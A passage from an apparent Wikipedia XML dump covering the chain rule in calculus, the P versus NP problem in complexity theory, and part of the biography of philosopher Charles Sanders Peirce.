one can write &lt;math&gt;f(x) = h(g(x))&lt;/math&gt; with &lt;math&gt;h(x) = \sin x&lt;/math&gt; and &lt;math&gt;g(x) = x^2&lt;/math&gt;. The chain rule then yields
:&lt;math&gt;f'(x) = 2x \cos(x^2)&lt;/math&gt;
since &lt;math&gt;h'(g(x)) = \cos (x^2)&lt;/math&gt; and &lt;math&gt;g'(x) = 2x&lt;/math&gt;.

== Chain rule for several variables ==
The chain rule works for functions of several variables as well. For example, if we have a function &lt;math&gt;f(u(x, y), v(x, y))&lt;/math&gt; where
:&lt;math&gt;u(x, y) = 3x + y^2&lt;/math&gt; and &lt;math&gt;v(x, y) = \sin(xy)&lt;/math&gt;, and if &lt;math&gt;f=u+v&lt;/math&gt;,
then
:&lt;math&gt;{\partial f \over \partial x}={\partial f \over \partial u}{\partial u \over \partial x}+{\partial f \over \partial v}{\partial v \over \partial x}=3 + \cos(xy)y.&lt;/math&gt;

==Proof of the chain rule==
Let ''f'' and ''g'' be functions and let ''x'' be a number such that ''f'' is differentiable at ''g(x)'' and ''g'' is differentiable at ''x''.  Then by the definition of differentiability,

:&lt;math&gt; g(x+\delta)-g(x)= \delta g'(x) + \epsilon(\delta) \,&lt;/math&gt; where &lt;math&gt; \frac{\epsilon(\delta)}{\delta} \to 0 \,&lt;/math&gt; as &lt;math&gt;\delta\to 0.&lt;/math&gt;

Similarly,
:&lt;math&gt; f(g(x)+\alpha) - f(g(x)) = \alpha f'(g(x)) + \eta(\alpha) \,&lt;/math&gt; where &lt;math&gt;\frac{\eta(\alpha)}{\alpha} \to 0 \,&lt;/math&gt; as &lt;math&gt;\alpha\to 0. \,&lt;/math&gt;

Now

:{|
|-
|&lt;math&gt; f(g(x+\delta))-f(g(x))\, &lt;/math&gt;
|&lt;math&gt;= f(g(x) + \delta g'(x)+\epsilon(\delta)) - f(g(x)) \,&lt;/math&gt;
|-
|
|&lt;math&gt; = \alpha_\delta f'(g(x)) + \eta(\alpha_\delta) \,&lt;/math&gt;
|}

where &lt;math&gt;\alpha_\delta = \delta g'(x) + \epsilon(\delta) \,&lt;/math&gt;.
Observe that as &lt;math&gt;\delta\to 0,&lt;/math&gt; &lt;math&gt;\frac{\alpha_\delta}{\delta}\to g'(x)&lt;/math&gt; and &lt;math&gt;\frac{\eta(\alpha_\delta)}{\delta}\to 0&lt;/math&gt;. Hence

:&lt;math&gt; \frac{f(g(x+\delta))-f(g(x))}{\delta} \to g'(x)f'(g(x))\mbox{ as } \delta \to 0.&lt;/math&gt;

==The fundamental chain rule==

The chain rule is a fundamental property of all definitions of derivative and is therefore valid in much more general contexts. For instance, if ''E'', ''F'' and ''G'' are [[Banach space]]s (which includes [[Euclidean space]]) and ''f'' : ''E'' &amp;rarr; ''F'' and ''g'' : ''F'' &amp;rarr; ''G'' are functions, and if ''x'' is an element of ''E'' such that ''f'' is differentiable at ''x'' and ''g'' is differentiable at ''f''(''x''), then the derivative (the [[Fréchet derivative]]) of the composition ''g'' o ''f'' at the point ''x'' is given by

:&lt;math&gt;\mbox{D}_x\left(g \circ f\right) = \mbox{D}_{f\left(x\right)}\left(g\right) \circ \mbox{D}_x\left(f\right).&lt;/math&gt;

Note that the derivatives here are [[linear transformation|linear maps]] and not numbers. If the linear maps are represented as [[matrix_(mathematics)|matrices]] (namely [[Jacobian]]s), the composition on the right hand side turns into a matrix multiplication.

A particularly clear formulation of the chain rule can be achieved in the most general setting: let ''M'', ''N'' and ''P'' be ''C''&lt;sup&gt;''k''&lt;/sup&gt; [[manifold]]s (or even Banach-manifolds) and let 

:''f'' : ''M'' &amp;rarr; ''N'' and ''g'' : ''N'' &amp;rarr; ''P''

be differentiable maps. The derivative of ''f'', denoted by d''f'', is then a map from the [[tangent bundle]] of ''M'' to the tangent bundle of ''N'', and we may write

:&lt;math&gt;\mbox{d}\left(g \circ f\right) = \mbox{d}g \circ \mbox{d}f.&lt;/math&gt;

In this way, the formation of derivatives and tangent bundles is seen as a [[functor]] on the [[category theory|category]] of ''C''&lt;sup&gt;&amp;infin;&lt;/sup&gt; manifolds with ''C''&lt;sup&gt;&amp;infin;&lt;/sup&gt; maps as morphisms.

==Tensors and the chain rule ==

See [[tensor field]] for an advanced explanation of the fundamental role the chain rule plays in the geometric nature of [[tensor]]s.

==Higher derivatives==

[[Faà di Bruno's formula]] generalizes the chain rule to higher derivatives.  The first few derivatives are
:&lt;math&gt;\frac{df}{dx} = \frac{dg}{dx} \frac{df}{dg}&lt;/math&gt;
:&lt;math&gt;
  \frac{d^2 f}{d x^2} 
  = \left(\frac{dg}{dx}\right)^2 \frac{d^2 f}{d g^2} 
    + \frac{d^2 g}{dx^2}\frac{df}{dg}
&lt;/math&gt;
:&lt;math&gt;
  \frac{d^3 f}{d x^3} 
  = \left(\frac{dg}{dx}\right)^3 \frac{d^3 f}{d g^3} 
    + 3\frac{dg}{dx}\frac{d^2 g}{d x^2} \frac{d^2 f}{d g^2} 
    + \frac{d^3 g}{d x^3} \frac{df}{dg}
&lt;/math&gt;
:&lt;math&gt;
  \frac{d^4 f}{d x^4}
  = \left(\frac{dg}{dx}\right)^4 \frac{d^4 f}{dg^4}
    + 6 \left(\frac{dg}{dx}\right)^2 \frac{d^2 g}{d x^2} \frac{d^3 f}{d g^3}
    + \left\{ 4 \frac{dg}{dx} \frac{d^3 g}{dx^3} + 3\left(\frac{d^2 g}{dx^2}\right)^2\right\}
      \frac{d^2 f}{d g^2}
    + \frac{d^4 g}{dx^4} \frac{df}{dg}
&lt;/math&gt; 
[[Category:Differential calculus]]

[[af:Kettingreël]]
[[de:Kettenregel]]
[[es:Regla de la cadena]]
[[fr:Règle de dérivation en chaîne]]
[[he:כלל השרשרת]]
[[nl:Kettingregel]]
[[pl:Reguła łańcuchowa]]
[[sv:Kedjeregeln]]
[[th:กฎลูกโซ่]]</text>
    </revision>
  </page>
  <page>
    <title>Complexity classses P and NP</title>
    <id>6114</id>
    <revision>
      <id>15904276</id>
      <timestamp>2004-08-04T04:34:34Z</timestamp>
      <contributor>
        <username>Ryan524</username>
        <id>57337</id>
      </contributor>
      <minor />
      <comment>reverted vandalism</comment>
      <text xml:space="preserve">#REDIRECT [[Complexity classes P and NP]]</text>
    </revision>
  </page>
  <page>
    <title>Complexity classes P and NP</title>
    <id>6115</id>
    <revision>
      <id>42024301</id>
      <timestamp>2006-03-03T07:46:17Z</timestamp>
      <contributor>
        <username>Mellum</username>
        <id>45569</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">{{Millennium Problems}}

[[Image:Complexity classes.png|thumb|250px|Diagram of complexity classes provided that '''P''' &amp;ne; '''NP'''. If '''P''' = '''NP''', then all three classes are equal.]]

[[Computational complexity theory]] is part of the [[theory of computation]] dealing with the resources required during computation to solve a given problem. The most common resources are time (how many steps does it take to solve a problem) and space (how much memory does it take to solve a problem). 

In this theory, the class '''[[P (complexity)|P]]''' consists of all those [[decision problem|decision problems]] that can be solved on a deterministic sequential machine in an amount of time that is polynomial in the size of the input; the class '''[[NP (complexity)|NP]]''' consists of all those decision problems whose positive solutions can be verified in polynomial time given the right information, or equivalently, whose solution can be found in [[polynomial time]] on a [[Non-deterministic Turing machine | non-deterministic]] machine. Arguably, the biggest open question in [[theory of computation|theoretical computer science]] concerns the relationship between those two classes: 
:Is '''P''' equal to '''NP'''?
In a [[2002]] poll of 100 researchers, 61 believed the answer is no, 9 believed the answer is yes, 22 were unsure, and 8 believed the question may be independent of the currently accepted axioms, and so impossible to prove or disprove.[http://www.cs.umd.edu/~gasarch/papers/poll.ps] The [[Clay Mathematics Institute]] has offered a USD 1,000,000 prize for a correct solution.

An important role in this discussion is played by the set of [[NP-complete]] problems (or '''NPC''') which can be loosely described as the ''hardest'' problems in '''NP''' and therefore they are the least likely to be in '''P'''. More precisely, any problem in '''NP''', through some ''efficient'' (takes at most a polynomial-bounded number of steps) transformation, can be expressed as a problem in '''NP-complete'''. Therefore if one finds an ''efficient'' (again, polynomial-bounded) solution to any '''NP-complete''' problem, then every problem in '''NP''' can be solved ''efficiently'' and therefore must be in '''P''', hence proving '''P''' = '''NP'''.  (See [[NP-complete]] for the exact definition.) Most theoretical [[computer scientist]]s currently believe that the relationship among the classes '''P''', '''NP''', and '''NPC''' is as shown in the picture, with the '''P''' and '''NPC''' classes disjoint.

In essence, the '''P''' = '''NP''' question asks: if positive solutions to a YES/NO problem can be ''verified'' quickly, can the answers also be ''computed'' quickly? Here is an example to get a feeling for the question.  Given a large number ''Y'', we might ask whether ''Y'' is a [[composite number]]. For example, we might ask whether the number 53308290611 has nontrivial factors. The answer is YES, though it would take a fair amount of work to find a factor by hand.  On the other hand, if someone claims that the answer is &quot;YES, because 224737 is a divisor of 53308290611&quot;, then we can quickly check that with a single division.  Verifying that a number is a divisor is much easier than finding the divisor in the first place. The information needed to verify a positive answer is also called a ''certificate''. So we conclude that given the right certificates, positive answers to our problem can be verified quickly (i.e. in polynomial time) and that's why this problem is in '''NP'''. Although this particular problem was recently shown to be in '''P''' as well (see [[AKS primality test]]), this is not at all obvious, and there are many other similar problems that are not believed to be in '''P'''.

The restriction to YES/NO problems doesn't really make a difference; even if we allow more complicated answers, the resulting problem (whether [[FP (complexity)|FP]] = [[FNP (complexity)|FNP]]) is equivalent.

==Formal definitions==
More formally, a ''decision problem'' is a problem that takes as input some [[String (computer science)|string]] and requires as output either YES or NO. If there is an [[algorithm]] (say a [[Turing machine]], or a [[Lisp programming language|Lisp]] or [[Pascal programming language|Pascal]] program with unbounded memory) which is able to produce the correct answer for any input string of length ''n'' in at most ''n''&lt;sup&gt;''k''&lt;/sup&gt; steps, where ''k'' is some constant independent of the input string, then we say that the problem can be solved in ''polynomial time'' and we place it in the class '''P'''. Intuitively, we think of the problems in '''P''' as those that can be solved reasonably quickly.

Now suppose there is an algorithm A(''w'',''C'') which takes two arguments, a string ''w'' which is an input string to our decision problem, and a string ''C'' which is a &quot;proposed certificate&quot;, and such that A produces a YES/NO answer in at most ''n''&lt;sup&gt;''k''&lt;/sup&gt; steps (where ''n'' is the length of ''w'' and ''k'' doesn't depend on ''w''). Suppose furthermore that
: ''w'' is a YES instance of the decision problem if and only if there exists ''C'' such that A(''w'',''C'') returns YES.
Then we say that the problem can be solved in ''non-deterministic polynomial time'' and we place it in the class '''NP'''. We think of the algorithm A as a verifier of proposed certificates which runs reasonably fast. (Note that the abbreviation '''NP''' stands for &quot;'''N'''on-deterministic '''P'''olynomial&quot; and ''not'' for &quot;'''N'''on-'''P'''olynomial&quot;.)

==NP-complete==
To attack the '''P''' = '''NP''' question, the concept of  [[NP-complete|'''NP'''-completeness]] is very useful.  Informally, the '''NP'''-complete problems are the &quot;toughest&quot; problems in '''NP''' in the sense that they are the ones most likely not to be in '''P'''.  [[NP-hard|'''NP'''-hard]] problems are those into which ''any'' problem in '''NP''' can be transformed, in polynomial time.  '''NP'''-complete problems are those '''NP'''-hard problems which are in '''NP'''.  For instance, the decision problem version of the [[traveling salesman problem]] is '''NP'''-complete.  So ''any'' instance of ''any'' problem in '''NP''' can be transformed mechanically into an instance of the traveling salesman problem, in polynomial time.  So, if the traveling salesman problem turned out to be in '''P''', then '''P ''' = '''NP'''!  The traveling salesman problem is one of many such '''NP'''-complete problems.  If any '''NP'''-complete problem is in '''P''', then it would follow that '''P''' = '''NP'''. Unfortunately, many important problems have been shown to be '''NP'''-complete and not a single fast algorithm for any of them is known.

==Still harder problems==
Although it is unknown whether '''P'''='''NP''', problems outside of '''P''' are known.  The problem of finding the best move in [[Chess]] or [[Go (board game)|Go]] (on an ''n'' by ''n'' board) is [[EXPTIME|EXPTIME-complete]]. Because it can be shown that P &amp;ne; EXPTIME, these problems are outside '''P''', and so require more than polynomial time. In fact, by the [[time hierarchy theorem]], they cannot be solved in significantly less than exponential time.

The problem of deciding the truth of a statement in  [[Presburger arithmetic]] is even harder.  Fischer and [[Michael O. Rabin|Rabin]] proved in [[1974]] that every algorithm which decides the truth of Presburger statements has a runtime of at least 2^(2^(''cn'')) for some constant ''c''. Here, ''n'' is the length of the Presburger statement. Hence, the problem is known to need more than exponential run time.  Even more difficult are the [[List of undecidable problems|undecidable problems]], such as the [[halting problem]].  They cannot be solved in general given any amount of time.

== Is P really tractable? ==
All of the above discussion has assumed that '''P''' means &quot;easy&quot; and &quot;not in '''P'''&quot; means &quot;hard&quot;.  While this is a common and reasonably accurate assumption in complexity theory, it is not always true in practice, for several reasons:
*It ignores constant factors.  A problem that takes time 10&lt;sup&gt;1000&lt;/sup&gt;''n'' is in '''P''' (it is linear time), but is completely intractable in practice.  A problem that takes time 10&lt;sup&gt;-10000&lt;/sup&gt;2&lt;sup&gt;''n''&lt;/sup&gt; is not in '''P''' (it is exponential time), but is very tractable for values of ''n'' up into the thousands.
*It ignores the size of the exponents.  A problem with time ''n''&lt;sup&gt;1000&lt;/sup&gt; is in '''P''', yet intractable. Problems have been proven to exist in '''P''' that require arbitrarily large exponents (see [[time hierarchy theorem]]).  A problem with time 2&lt;sup&gt;''n''/1000&lt;/sup&gt; is not in '''P''', yet is tractable for ''n'' up into the thousands.
*It only considers worst-case times.  There might be a problem that arises in the real world such that most of the time, it can be solved in time ''n'', but on very rare occasions you'll see an instance of the problem that takes time 2&lt;sup&gt;''n''&lt;/sup&gt;.  This problem might have an average time that is polynomial, but the worst case is exponential, so the problem wouldn't be in '''P'''.
*It only considers deterministic solutions.  There might be a problem that you can solve quickly if you accept a tiny error probability, but a guaranteed correct answer is much harder to get. The problem would not belong to '''P''' even though in practice it can be solved quickly. This is in fact a common approach to attack problems in '''NP''' not known to be in '''P''' (see '''[[RP (complexity)|RP]]''', '''[[BPP]]'''). Even if '''P'''='''BPP''', as many researchers believe, it is often considerably easier to find [[probabilistic algorithm]]s.
*New computing models such as [[quantum computer]]s may be able to quickly solve some problems not known to be in '''P'''; however, none of the problems they are known to be able to solve are '''NP'''-hard. However, it should be noted that the ''definition'' of '''P''' and '''NP''' are in terms of classical computing models like Turing machines. Therefore, even if a quantum computer algorithm were discovered to efficiently solve an '''NP'''-hard problem, we would only have a way of physically solving difficult problems quickly, not a proof that the mathematical classes '''P''' and '''NP''' are equal.

==Why do computer scientists think P &amp;ne; NP?==
Most computer scientists believe that '''P'''&amp;ne;'''NP'''.  A key reason for this belief is that after decades of studying these problems, nobody has been able to find a polynomial-time algorithm for an NP-hard problem. Moreover, these algorithms were sought long before the concept of NP-completeness was even known ([[Karp's 21 NP-complete problems]], among the first found, were all well-known existing problems). Furthermore, the result P = NP would imply many other startling results that are currently believed to be false, such as NP = [[co-NP]] and P = [[PH (complexity)|PH]].

It is also intuitively argued that the existence of problems that are hard to solve but for which the solutions are easy to verify matches real-world experience.

On the other hand, some researchers believe that we are overconfident in '''P''' &amp;ne; '''NP''' and should explore proofs of '''P''' = '''NP''' as well. For example, in 2002 these statements were made: [http://www.cs.umd.edu/~gasarch/papers/poll.ps]
: The main argument in favor of P&amp;ne;NP is the total lack of fundamental progress in the area of exhaustive search. This is, in my opinion, a very weak argument. The space of algorithms is very large and we are only at the beginning of its exploration. [ . . . ] The resolution of [[Fermat's last theorem|Fermat's Last Theorem]] also shows that very simply [sic] questions may be settled only by very deep theories.
: &amp;mdash; Moshe Vardi, [[Rice University]]
: Being attached to a speculation is not a good guide to research planning. One should always try both directions of every problem. Prejudice has caused famous mathematicians to fail to solve famous problems whose solution was opposite to their expectations, even though they had developed all the methods required.
: &amp;mdash; Anil Nerode, [[Cornell University]]

==Results about difficulty of proof==
A million dollar prize and a huge amount of dedicated research with no substantial results are enough to show the problem is difficult. There have also been some formal results demonstrating why the problem might be difficult to solve.

One of the most frequently-cited is a result involving [[oracle machine|oracles]]. Imagine you have a magical machine called an ''oracle'' that can solve only one problem, such as determining if a given number is prime, but can solve it in constant time. Our new question is now, if we're allowed to use this oracle as much as we want, are there problems we can verify in polynomial time that we can't solve in polynomial time? It turns out that, depending on the problem that the oracle solves, with certain oracles one has '''P''' = '''NP''', while for other oracles one has '''P''' &amp;ne; '''NP'''. The practical consequence of this is that any proof which can be modified to account for the existence of these oracles cannot solve the problem. Unfortunately, most known methods and nearly all classical methods can be modified in such a way (we say they are ''relativizing'').

As if this weren't bad enough, a 1993 result by [[Alexander Razborov]] and [[Steven Rudich]] showed that, given a certain credible assumption, proofs that are &quot;natural&quot; in a certain sense cannot solve the '''P''' = '''NP''' problem (see [[natural proof]]). This demonstrated that some of the most seemingly-promising methods of the time were also unlikely to succeed. As more theorems of this kind are proved, a potential proof of the theorem has more and more traps to avoid.

This is actually another reason why NP-complete problems are useful: if a polynomial-time algorithm, or the lack of one, can be demonstrated for an NP-complete problem, this would solve the '''P''' = '''NP''' problem in a way which is not believed to be excluded by the above results.

==Polynomial-time algorithms==
No one knows whether polynomial-time algorithms exist for NP-complete languages.  But if such algorithms do exist, we already know some of them!  For example, the following algorithm correctly accepts an NP-complete language, but no one knows how long it takes in general.  This is a polynomial-time algorithm if and only if '''P''' = '''NP'''.

    // Algorithm that accepts the NP-complete language [[subset sum problem|SUBSET-SUM]].
    //
    // This is a polynomial-time algorithm if and only if P=NP.
    //
    // &quot;Polynomial-time&quot; means it returns &quot;YES&quot; in polynomial time when 
    // the answer should be &quot;YES&quot;, and runs forever when it's &quot;NO&quot;.
    //
    // Input:  S = a finite set of integers
    // Output: &quot;YES&quot; if any subset of S adds up to 0.
    //         Otherwise, it runs forever with no output.
    // Note:  &quot;Program number P&quot; is the program you get by
    //         writing the integer P in binary, then
    //         considering that string of bits to be a 
    //         program.  Every possible program can be
    //         generated this way, though most do nothing
    //         because of syntax errors.&lt;br&gt;
    FOR N = 1...infinity
        FOR P = 1...N
            Run program number P for N steps with input S
            IF the program outputs a list of distinct integers
                AND the integers are all in S
                AND the integers sum to 0&lt;br&gt;
            THEN
                OUTPUT &quot;YES&quot; and HALT

If '''P''' = '''NP''', then this is a polynomial-time algorithm accepting an NP-Complete language.  &quot;Accepting&quot; means it gives &quot;YES&quot; answers in polynomial time, but 
is allowed to run forever when the answer is &quot;NO&quot;.  

Perhaps we want to &quot;solve&quot; the SUBSET-SUM problem, rather than just &quot;accept&quot; the SUBSET-SUM language.  That means we want it to always halt and return a &quot;YES&quot; or &quot;NO&quot; answer.  Does any algorithm exist that can provably do this in polynomial time?  No one knows.  But if such algorithms do exist, then we already know some of them!  Just replace the IF statement in the above algorithm with this:

            IF the program outputs a complete math proof
                AND each step of the proof is legal
                AND the conclusion is that S does (or does not) have a subset summing to 0
            THEN
                OUTPUT &quot;YES&quot; (or &quot;NO&quot; if that was proved) and HALT

==Logical characterizations==
The P=NP problem can be restated in terms of the expressibility of certain classes of logical statements. All languages in P can be expressed in [[first-order logic]] with the addition of a [[least fixed point]] operator (effectively, this allows the definition of recursive functions). Similarly, NP is the set of languages expressible in existential [[second-order logic]] &amp;mdash; that is, second-order logic restricted to exclude [[universal quantification]] over relations, functions, and subsets. The languages in the [[polynomial hierarchy]], [[PH (complexity)|PH]], correspond to all of [[second-order logic]]. Thus, the question &quot;is P a proper subset of NP&quot; can be reformulated as &quot;is existential second-order logic able to describe languages that first-order logic with least fixed point cannot?&quot;

==Trivia==
The [[Princeton University]] computer science building has the question &quot;P=NP?&quot; encoded in [[Binary and text files |binary]] in its brickwork on the top floor of the west side. If it is proven that P=NP, the bricks can easily be changed to encode &quot;P=NP!&quot;. If P does not equal NP, it can be changed to &quot;P&lt;NP!&quot;. [http://www.princeton.edu/~taubetap/tours/handbook.pdf]

Hubert Chen, PhD, of [[Cornell University]] offers this [[tongue-in-cheek]] proof that P does not equal NP: &quot;''Proof by contradiction. Assume P = NP. Let y be a proof that P = NP. The proof y can be verified in polynomial time by a competent computer scientist, the existence of which we assert. However, since P = NP, the proof y can be generated in polynomial time by such computer scientists. Since this generation has not yet occurred (despite attempts by such computer scientists to produce a proof), we have a contradiction.''&quot;[http://www.cs.cornell.edu/hubes/pnp.htm]

The P = NP problem has also been featured in television:

* In a scene of ''[[The Simpsons]]'' entitled &quot;Homer&lt;sup&gt;3&lt;/sup&gt;&quot; (part of the [[Treehouse of Horror VI]] episode), Homer enters the third dimension where &quot;P = NP&quot; appears as a hovering problem in this bizarre parallel universe.

* In an episode of ''[[Futurama]]'', Fry and Amy spend a moment in a supply closet, in which there are two separate binders labelled &quot;P&quot; and &quot;NP&quot;.

* In the second episode of the CBS show ''[[NUMB3RS]]'', an eccentric mathematician who is indirectly responsible for a few deaths tries to forget his mistake by trying to solve P = NP.  We watch him cover several chalk boards with notations before he stops.

==See also==
*[[P (complexity)]]
*[[NP (complexity)]]
*[[NP-complete]]
*[[Game complexity]]

== References ==
* A. S. Fraenkel and D. Lichtenstein, Computing a perfect strategy for n*n chess requires time exponential in n, Proc. 8th Int. Coll. ''Automata, Languages, and Programming'', Springer LNCS 115 (1981) 278-293 and ''J. Comb. Th. A'' 31 (1981) 199-214.
* E. Berlekamp and D. Wolfe, Mathematical Go: Chilling Gets the Last Point, A. K. Peters, 1994. D. Wolfe, Go endgames are hard, MSRI Combinatorial Game Theory Research Worksh., 2000.
* [[Neil Immerman]]. Languages Which Capture Complexity Classes. ''15th ACM STOC Symposium'', pp.347-354. 1983.
* {{cite book | author = [[Thomas H. Cormen]], [[Charles E. Leiserson]], [[Ronald L. Rivest]], and [[Clifford Stein]] | title = [[Introduction to Algorithms]] | edition = Second Edition | publisher = MIT Press and McGraw-Hill | year = 2001 | id = ISBN 0262032937 | chapter = Chapter 34: NP-Completeness | pages = pp.966–1021 }}
* {{cite book | author = [[Christos Papadimitriou]] | year = 1993 | title = Computational Complexity | publisher = Addison Wesley | edition = 1st edition | id = ISBN 0201530821 | chapter = Chapter 14: On P vs. NP | pages = pp.329–356 }}

==External links==
* [http://www.claymath.org/prizeproblems/index.htm The Clay Math Institute Millennium Prize Problems]
* [http://www.claymath.org/millennium/P_vs_NP/Official_Problem_Description.pdf The Clay Math Institute Official Problem Description (pdf)]
* Gerhard J. Woeginger. [http://www.win.tue.nl/~gwoegi/P-versus-NP.htm The P-versus-NP page]. A list of links to a number of purported solutions to the problem. Some of these links state that P equals NP, some of them state the opposite. It's probable that all these alleged solutions are incorrect.
* [http://www.ics.uci.edu/~eppstein/cgt/hard.html Computational Complexity of Games and Puzzles]
*  [http://crypto.cs.mcgill.ca/~stiglic/PRIMES_P_FAQ.html The &quot;PRIMES is in P&quot; FAQ]
* Scott Aaronson's Complexity Zoo: [http://qwiki.caltech.edu/wiki/Complexity_Zoo#p P], [http://qwiki.caltech.edu/wiki/Complexity_Zoo#np NP]
* [http://www.qeden.com/ Millennium Prize Problems Wiki]

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  <page>
    <title>Charles Peirce</title>
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      <text xml:space="preserve">&lt;!-- merged with Charles Saunders Peirce--&gt;
[[Image:Charles Sanders Peirce theb3558.jpg|thumb|right|Charles Sanders Peirce]]

'''Charles Sanders Santiago Peirce''' 
(pronounced ''purse''), ([[September 10]], [[1839]] &amp;ndash; [[April 19]], [[1914]]) was an [[United States|American]] [[polymath]], born in [[Cambridge, Massachusetts]]. Although educated as a [[chemist]] and employed as a [[scientist]] for 30 years, he is now mostly seen as a [[philosophy|philosopher]]. He is the greatest American builder of [[architectonic]] systems, and his admirers deem him the most important systematizer since [[Kant]] and [[Hegel]], who were major influences.

Peirce was largely ignored within his lifetime, and the secondary literature was scant until after [[WWII]]. Much of his huge output is still unpublished. An innovator in fields such as [[mathematics]], [[research]] methodology, the [[philosophy of science]], [[epistemology]], and [[metaphysics]], he considered himself a [[logic|logician]] first and foremost. While he made major contributions to formal logic, &quot;logic&quot; for him encompassed much of what is now called the philosophy of science and epistemology. He, in turn, saw logic as a branch of [[semiotics]], of which he is a founder. In 1886, he saw that logical operations could be carried out by electrical switching circuits, thus anticipating the digital computer.

==Life==

&lt;blockquote&gt; Right from the beginning, the relations of America as New England with Europe were, from the philosophical point of view, ambiguous, when they were not simply difficult and, in the end, impossible. Peirce is in himself the ‘’resumé’’ of this story… from the rejection of European philosophical paradigms to the creation of new paradigms which are not only Peirce’s but America’s, and slowly but inevitably [those] of the global world of tomorrow. (Deledalle 2000: 3). &lt;/blockquote&gt;

Brent (1998) is the only Peirce biography in English. Charles Sanders Peirce was the son of Sarah Hunt Mills and [[Benjamin Peirce]], a professor of [[astronomy]] and [[mathematics]] at [[Harvard University]], perhaps the first serious research mathematician in America. At 12 years of age, Charles devoured an older brother's copy of [[Richard Whately]]'s ''Elements of Logic'', then the leading English language text of its kind. Thus began his lifelong fascination with logic and reasoning. He went on to obtain the BA and MA from Harvard, and in 1863 was awarded the [[Lawrence Scientific School]]'s first B.Sc. in chemistry. This last degree was awarded ''summa cum laude''; his academic record was otherwise undistinguished. At Harvard, he began lifelong friendships with [[Francis Ellingwood Abbot]], [[Chauncey Wright]], and [[William James]]. One of his Harvard instructors, [[Charles William Eliot]], formed an unfavorable opinion of him; they clashed on later occasions. This was unfortunate, because Eliot was President of Harvard 1869-1909, a period encompassing nearly all of Peirce's working life, during which he repeatedly vetoed having Harvard employ Peirce in any capacity.

Charles was employed as a scientist by the [[United States Coast Survey]] ([[1859]]&amp;ndash;[[1891]]), where he enjoyed the protection of his highly influential father until the latter's death in 1880. This employment exempted Charles from having to take part in the [[American Civil War|Civil War]], sparing him a very awkward situation, as his Boston Brahmin family sympathized with the [[Confederate States of America|Confederacy]]. At the Survey, he worked mainly in [[geodesy]] and in [[gravimetry]], refining the use of [[pendulum]]s to determine small local variations in the strength of the earth's [[gravity]]. The Survey sent him to Europe five times, the first in 1871, as part of a group dispatched to observe a [[solar eclipse]]. While in Europe, he sought out [[Augustus De Morgan]], [[William Stanley Jevons]], and [[William Kingdon Clifford]], British mathematicians and logicians whose turn of mind resembled his own. During 1869-72, he was employed as an Assistant in Harvard's astronomical observatory, doing important work on determining the brightness of [[stars]] and the shape of the [[Milky Way]]. (On Peirce the astronomer, see Lenzen's chapter in Moore and Robin, 1964.) In 1878, he was the first to define the [[meter]] as so many [[wavelength]]s of [[light]] of a certain [[frequency]], the definition employed today.

Over the 1880s, Peirce's indifference to bureaucratic detail waxed while the quality and timeliness of his Survey work waned. Peirce took years to write reports that he should have required mere months. Meanwhile, he wrote hundreds of logic, philosophy, and science entries for the ''Century Dictionary''. In 1885, an investigation by the [[Allison Commission]] exonerated Peirce, but led to the dismissal of Superintendent [[Julius Hilgard]] and several other Coast Survey employees for misuse of public funds. In 1891, he resigned from the Coast Survey, at the request of Superintendent [[Thomas Corwin Mendenhall]]. He never again held regular employment.

In 1879, Peirce was appointed Lecturer in logic at the new [[Johns Hopkins University]]. That university was strong in a number of areas that interested Peirce, such as philosophy ([[Royce]] and [[John Dewey]] were students), psychology (taught by [[G. Stanley Hall]] and studied by [[Joseph Jastrow]], who coauthored a landmark empirical study with Peirce), and mathematics, taught by [[J. J. Sylvester]], who came to admire Peirce's work on mathematics and logic. This untenured position proved to be the only academic appointment Peirce ever held. It is a fact that Clark, Wisconsin, Michigan, Cornell, Stanford, and Chicago all declined to hire him, although the precise reasons for their so doing can no longer be determined. Brent documents something Peirce never suspected, namely that his efforts to obtain academic employment, grants, and scientific respectability, were repeatedly frustrated by the covert opposition of a major American scientist of the day, [[Simon Newcomb]] (1835-1909). Peirce's ability to find academic employment may also have been frustrated by a difficult personality. Brent conjectures that Peirce may have been [[Bipolar disorder|manic-depressive]], further claiming that Peirce experienced 8 nervous breakdowns between 1876 and 1911. Brent also believes that Peirce tried to alleviate his symptoms with ether, morphine, and cocaine. 

Peirce's personal life also proved a grave handicap. His first wife, [[Harriet Melusina Fay]], left him in 1875. He soon took up with a woman whose maiden name and nationality remain uncertain to this day (the best guess is that her name was Juliette Froissy and that she was French), marrying her immediately upon divorcing Harriet in 1883. That year, Newcomb pointed out to a Johns Hopkins trustee that Peirce, while a Hopkins employee, had lived and traveled with a woman to whom he was not married. The ensuing scandal led to his dismissal, and to his being deemed morally unfit for academic employment anywhere in the USA. Peirce had no children by either marriage.

In [[1887]], Peirce used an inheritance from his parents to purchase 2,000 rural acres near [[Milford, Pennsylvania]], land which never yielded an economic return. On that land he built a large house which he named &quot;Arisbe&quot; and where he spent the rest of his life, writing prolifically, much of it unpublished to this day. He insisted on living well beyond his means, which led to grave financial and legal difficulties. Peirce spent much of the last two decades of his life so destitute that he could not afford heat in winter. His only food was bread donated by the local baker, and he wrote on the verso side of old manuscripts because he could not afford new stationery. For a while an outstanding warrant for assault and debt led to his becoming a fugitive in New York. A variety of people including his brother [[James Mills Peirce]] and his neighbors, relatives of [[Gifford Pinchot]], paid his property taxes and mortgage, and settled other debts.

During this long final twilit phase of Peirce’s life, he did some scientific and engineering consulting, and wrote a good deal for meager pay, primarily dictionary and encyclopedia entries, and reviews for ''[[The Nation (U.S. periodical)|The Nation]]'' (with whose editor, [[Wendell Phillips Garrison]] he became friendly). He did translations for the [[Smithsonian Institution]], at the instigation of its director, [[Samuel Langley]]. Peirce also did substantial mathematical calculations for Langley’s research on powered flight. Peirce tried his hand at inventing, and began but did not complete a number of books, all in the hope of making money. In 1888, President [[Grover Cleveland]] appointed him to the [[Assay Commission]]. From 1890 onwards, he had a friend and admirer in Judge [[Francis C. Russell]] of Chicago, who introduced Peirce to [[Paul Carus]] and [[Open Court Publishing Company|Edward Hegeler]], the editor and owner, respectively, of the pioneering American philosophy journal ''[[Open Court Publishing Company|The Monist]]'', which eventually published a number of his articles. He applied to the newly formed [[Carnegie Foundation|Carnegie Institution]] for a grant to write a book summarizing his life’s work. The application was doomed; his nemesis Newcomb served on the Institution’s executive committee, and its President had been the President of Johns Hopkins at the time of Peirce’s dismissal.  

